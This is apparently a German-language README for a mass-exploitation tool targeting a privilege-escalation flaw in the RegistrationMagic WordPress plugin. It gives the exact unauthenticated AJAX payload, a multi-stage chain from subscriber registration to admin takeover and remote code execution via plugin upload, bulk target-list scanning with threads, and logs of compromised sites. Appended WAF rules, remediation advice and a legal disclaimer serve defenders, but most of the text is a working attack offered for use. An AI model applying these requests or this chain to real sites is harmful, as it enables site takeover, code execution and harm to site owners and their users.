
RegistrationMagic <= 6.0.7.1 - Nicht authentifizierte Privilegienausweitung über admin_order
RegistrationMagic <= 6.0.7.1 - Unberechtigte Privilegieneskalation via admin_order
📡 Die Intel wird hier zuerst abgeworfen. Folge @KNxploited auf Telegram – präzise CVE-Offenlegungen, funktionierende Exploits und tiefgehende Schwachstellenforschung. Der Kanal für diejenigen, die nicht auf die Nachrichten warten – sie machen sie.
CVE-2025-15403 ist eine CVSS 9.8 Kritische Privilegieneskalations-Schwachstelle im RegistrationMagic-Plugin für WordPress.
Der Fehler liegt in der add_menu-Funktion des Plugins, die ohne Authentifizierung über die AJAX-Aktion rm_user_exists freigelegt wird. Durch das Injizieren eines leeren Slugs in den order-Parameter zusammen mit dem Flag enable_admin_order=yes manipuliert ein Angreifer die interne Menü-Erstellungslogik des Plugins. Wenn das Admin-Menü anschließend aufgebaut wird, ruft das Plugin stillschweigend add_cap('manage_options') für die Zielrolle auf – und hebt jedes Abonnentenkonto auf vollständige Administratorrechte.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Betroffene Versionen | Alle Versionen bis einschließlich 6.0.7.1 |
| Schwachstellentyp | Unberechtigte Privilegieneskalation |
| Angriffsvoraussetzung | AJAX-Phase: Keine. Ausnutzung: Abonnenten-Konto |
| Angriffsvektor | Netzwerk |
| CVSS 3.1-Score | 9.8 KRITISCH |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Auswirkung | Vollständige WordPress-Administrator-Übernahme |
| Forscher | Nxploited |
Die Ursache ist, dass die add_menu-Funktion ohne Authentifizierung über rm_user_exists erreichbar ist, kombiniert mit null Validierung des admin_order-Slugs:
// Registriert ohne Capability-Check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Benutzergesteuert, NICHT bereinigt
$role_key = /* aus POST abgeleitet */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Speichert angreifergesteuerte Reihenfolge in Plugin-Optionen
update_option('rm_admin_order', $order); // z.B. ",menu1" → leerer erster Slug
}
}
// Später, wenn das Admin-Menü erstellt wird...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Vom Angreifer vergiftet
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Leerer Slug löst bedingungslose Berechtigungsvergabe aus
$role->add_cap('manage_options'); // ← VOLLSTÄNDIGE ADMIN-BERECHTIGUNG HINZUGEFÜGT
}
}
}
Warum dies kritisch ist:
wp_ajax_nopriv_* = keine Authentifizierung erforderlich, um die Option zu vergiftenorder=,menu1 erfüllt die empty()-Bedingung und löst add_cap('manage_options') ausmanage_options ist die höchste WordPress-Berechtigung – entspricht Administrator╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 1 — Unauthentifizierte Optionen-Vergiftung ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← leeres erstes Element = leerer Slug
_Subscriber = 1 ← Zielrollen-Schlüssel
restore = false
enable_admin_order= yes
Antwort: HTTP 200 (jede nicht blockierte Antwort = Option vergiftet)
↓ Plugin speichert order=",menu1" in wp_options
↓ Nächster Admin-Menü-Aufbau löst add_cap('manage_options') für die Abonnentenrolle aus
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 2 — Kontoerwerb (Abonnent) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Registrierung über das Registrierungsformular der Website (Modus 0):
GET /wp-login.php?action=register → intelligente Formularerkennung
POST → Abonnentenkonto erstellen
Anmeldedaten: NXploited / xplpass123
Option B — Vorhandenes Abonnentenkonto verwenden.
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 3 — Anmeldung + Berechtigungsernte ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Abonnentenkonto besitzt nun manage_options → vollständiges Admin-Panel zugänglich
╔══════════════════════════════════════════════════════════════════════════╗
║ STUFE 4 — Tiefe Verifikation & RCE via Plugin-Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin-Dashboard zugänglich ✔️
GET /wp-admin/plugin-install.php → Plugin-Installationsseite zugänglich ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin hochgeladen und ausgeführt ✔️
GET /wp-content/plugins/Nxploited/hello.php
Antwort enthält "Nxploited" → RCE BESTÄTIGT ✔️
Dieses Exploit-Set bietet drei verschiedene Modi, die den gesamten Angriffslebenszyklus abdecken:
| Modus | Name | Beschreibung |
|---|---|---|
0 | Nur Registrierung | Intelligente WordPress-Formularerkennung + Abonnentenkontoregistrierung |
1 | Nur Exploit | Feuert die unauthentifizierte AJAX-Primitive zum Vergiften von admin_order |
2 | Exploit + Anmeldung + Verifikation | Vollständige Kette: Primitive → Anmeldung → Admin-Dashboard → Plugin-Installation → RCE |
pip install requests colorama urllib3
| Abhängigkeit | Zweck |
|---|---|
requests | HTTP-Sitzungen, Cookie-Handling, Umleitungsverfolgung |
colorama | Plattformübergreifende farbige Terminalausgabe |
urllib3 | SSL-Warnungsunterdrückung für selbstsignierte Zertifikate |
concurrent.futures | Thread-Pool für Hochdurchsatz-Scanning mehrerer Ziele |
zipfile | Im-Speicher generiertes Test-Plugin-ZIP für RCE-Verifikation |
html.parser | Intelligente Registrierungsformularerkennung und Feldextraktion |
Python 3.8+ erforderlich. Python 3.10+ empfohlen (verwendet
X | YUnion-Type-Hinweise).
CVE-2025-15403/
├── CVE-2025-15403.py # Haupt-Exploit-Suite
├── list.txt # Ziel-URLs – eine pro Zeile
│
├── rm_register_results.txt # Modus 0: erfolgreiche Registrierungen
├── rm_exploit_results.txt # Modus 1 & 2: Primitive-Feuerprotokoll
├── rm_admin_verify.txt # Modus 2: Anmelde- + Admin-Verifikationsprotokoll
├── rm_plugin_uploads.txt # Modus 2: Plugin-Upload-Versuchsprotokoll
│
├── rm_admin_dashboard_success.txt # ✔ Websites mit bestätigtem Admin-Dashboard
├── rm_plugin_install_access.txt # ✔ Websites mit zugänglicher Plugin-Installationsseite
└── rm_plugin_rce_success.txt # ✔ Websites mit bestätigtem RCE via Plugin-Upload
Die drei
_success-Dateien am unteren Ende repräsentieren abgestufte Kompromittierungsstufen – jede wird unabhängig geschrieben, sobald ihre Bedingung bestätigt ist.
Erstelle list.txt mit einer URL oder einem Hostnamen pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Bloße Hostnamen ohne Schema werden automatisch mit
https://versehen. WordPress-Installationen in Unterverzeichnissen (z.B./wordpress) werden erkannt und automatisch behandelt.
python CVE-2025-15403.py
Du wirst interaktiv nach allen Parametern gefragt. Beispielsitzung für Modus 2:
Mode auswählen (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Datei mit Zielliste (ein Host/URL pro Zeile) [list.txt]: list.txt
Threads (gleichzeitige Websites) [5]: 20
HTTP-Timeout (Sekunden) [10]: 12
Rollen-Schlüssel zum Eskalieren (z.B. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Benutzername für die Anmeldung (z.B. NXploited) [NXploited]: NXploited
Passwort für diesen Benutzer [xplpass123]: xplpass123
Ausgabedatei für Admin-Verifikation [rm_admin_verify.txt]: rm_admin_verify.txt
Ausgabedatei für Plugin-Upload-Tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Primitive vor der Anmeldung in Modus 2 senden? (ja/nein) [ja]: ja
[14:31:01] info | Modus 2: Exploit + Login + Deep Verify | Ziele: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
| Farbe | Tag | Bedeutung |
|---|---|---|
| 🔵 Cyan | info | Information – Modusstart, Konfiguration |
| 🟢 Grün | ok | Vollständiger Erfolg – Admin-Zugriff oder RCE bestätigt |
| 🟡 Gelb | warn | Teilergebnis – Primitive OK, aber Anmeldung fehlgeschlagen usw. |
| 🔴 Rot | err | Schwerer Fehler – Datei nicht gefunden, Ausnahme, blockiert |
rm_admin_dashboard_success.txtWebsites, bei denen das Abonnentenkonto nach der Privilegieneskalation erfolgreich auf /wp-admin/ zugegriffen hat:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtWebsites, bei denen die Plugin-Installationsseite zugänglich war (bestätigt manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtWebsites, bei denen ein Test-Plugin hochgeladen und ausgeführt wurde – RCE bestätigt:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
| Parameter | Standard | Beschreibung |
|---|---|---|
| Modus | 0 | Angriffsmodus: 0 = Registrieren, 1 = Exploit, 2 = Vollständige Kette |
| Ziele-Datei | list.txt | Datei mit Ziel-URLs |
| Threads | 5 (kein hartes Max) | Gleichzeitige ThreadPoolExecutor-Arbeiter |
| Timeout | 10 Sekunden | HTTP-Timeout pro Anfrage |
| Rollen-Schlüssel | _Subscriber | WordPress-Rolle zum Eskalieren (_Editor, _Author, usw.) |
| Benutzername | NXploited | Konto zum Registrieren / Anmelden |
| Passwort | xplpass123 | Passwort für das Konto |
| Primitive senden | ja | Ob die AJAX-Stufe vor der Anmeldung in Modus 2 ausgelöst werden soll |
Modus 2 führt eine dreistufige abgestufte Verifikation durch – jede Stufe ist unabhängig und schreibt ihre eigene Ergebnisdatei:
Stufe 1 — Admin-Dashboard
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Prüfen auf: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → schreibt in rm_admin_dashboard_success.txt
Stufe 2 — Plugin-Installationsseitenzugriff
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Prüfen auf: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → schreibt in rm_plugin_install_access.txt
Stufe 3 — Tatsächlicher Plugin-Upload + Ausführung (RCE-Nachweis)
_wpnonce aus der Plugin-Installationsseite extrahieren
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (im Speicher generiert)
GET /wp-content/plugins/Nxploited/hello.php
Antworttext auf "Nxploited" prüfen
✔ → schreibt in rm_plugin_rce_success.txt
Jede bestandene Stufe wird unabhängig aufgezeichnet – ein Ziel, das Stufe 1 aber nicht Stufe 3 besteht, wird dennoch in rm_admin_dashboard_success.txt erfasst.
Modus 0 verwendet einen benutzerdefinierten HTML-Formularparser, um WordPress-Registrierungsformulare automatisch zu erkennen und abzusenden – einschließlich benutzerdefinierter RegistrationMagic-Formulare:
Sondierungs-URLs (in Reihenfolge):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
Für jede Seite:
→ Alle <form>-Elemente parsen
→ Jedes Formular bewerten (0–200 Punkte):
+100 Felder "user_login" + "user_email" vorhanden
+ 60 E-Mail- und benutzernamenähnliche Felder vorhanden
+ 30 rm_* präfixierte Eingabefelder (RegistrationMagic-spezifisch)
+ 20 Formular-ID/Klasse enthält "register" / "signup"
+ 10 Seitenbody erwähnt "register" / "sign up"
→ Formular mit höchster Punktzahl absenden (Schwellwert: 40+)
→ Erfolg über Antwortbody / Umleitungs-URL verifizieren
Vom Exploit erzeugtes Netzwerkmuster – für Verteidiger und WAF/IDS-Autoren:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
WAF / IDS-Regel (Pseudocode):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
Zusätzliche Erkennung – Optionenvergiftung:
Überwache die Tabelle wp_options:
IF option_name = "rm_admin_order"
AND option_value BEGINNT MIT ","
THEN ALERT — mögliche Ausnutzung von CVE-2025-15403
Wenn Du ein Website-Betreiber, Entwickler oder Verteidiger bist, handle sofort:
wp_options – kontrolliere den Wert von rm_admin_order auf verdächtige Einträge (z.B. beginnend mit ,)manage_options-Berechtigung herabwp_ajax_nopriv_*-Handlern hinzu – lege Options-Schreibfunktionen niemals unauthentifiziert offenorder – lehne Werte mit leeren Slug-Segmenten abadmin-ajax.php, die rm_options_admin_menu enthalten, auf WAF-Ebenerm_user_exists-AJAX-Aktionsaufrufe von unauthentifizierten QuellenDIESES TOOL WIRD AUSSCHLIESSLICH ZU BILDUNGSZWECKEN, AUTORISIERTEN
PENETRATIONSTESTS UND SICHERHEITSFORSCHUNG ZUR VERFÜGUNG GESTELLT.
Durch das Herunterladen, Ausführen oder Modifizieren dieses Skripts stimmst
Du ausdrücklich Folgendem zu:
• Du besitzt die AUSDRÜCKLICHE, SCHRIFTLICHE AUTORISIERUNG des Eigentümers
jedes von Dir getesteten Zielsystems. Keine Ausnahmen. Keine Annahmen.
• Du arbeitest im Rahmen eines formell abgesteckten, autorisierten
Penetrationstest-Engagements oder einer kontrollierten Laborumgebung,
die Dir gehört.
• Du wirst dieses Tool NICHT gegen ein System, Netzwerk oder eine
Infrastruktur einsetzen, ohne dokumentierte rechtliche Erlaubnis.
• Nxploited und alle Mitwirkenden übernehmen KEINERLEI Haftung für
unbefugte Nutzung, Datenverlust, Systemschäden, rechtliche Verfahren
oder strafrechtliche Verfolgung, die aus der Nutzung dieses Tools in
irgendeiner Form entstehen.
Die unbefugte Nutzung dieses Exploits stellt eine Straftat dar gemäß:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU-Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
— Saudi-Arabiens Anti-Cyber Crime Law (Nr. M/17)
— Und aller gleichwertigen nationalen und internationalen Cyberkriminalitätsgesetze.
VERWENDE ES VERANTWORTUNGSBEWUSST. HACKE ETHISCH. MELDE SCHWACHSTELLEN VERANTWORTUNGSBEWUSST.
| Handle | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Folge @KNxploited auf Telegram Frische CVEs. Funktionierende Exploits. Kein Rauschen. Keine Verzögerung. Der Kanal, auf dem ernsthafte Forscher scharf bleiben.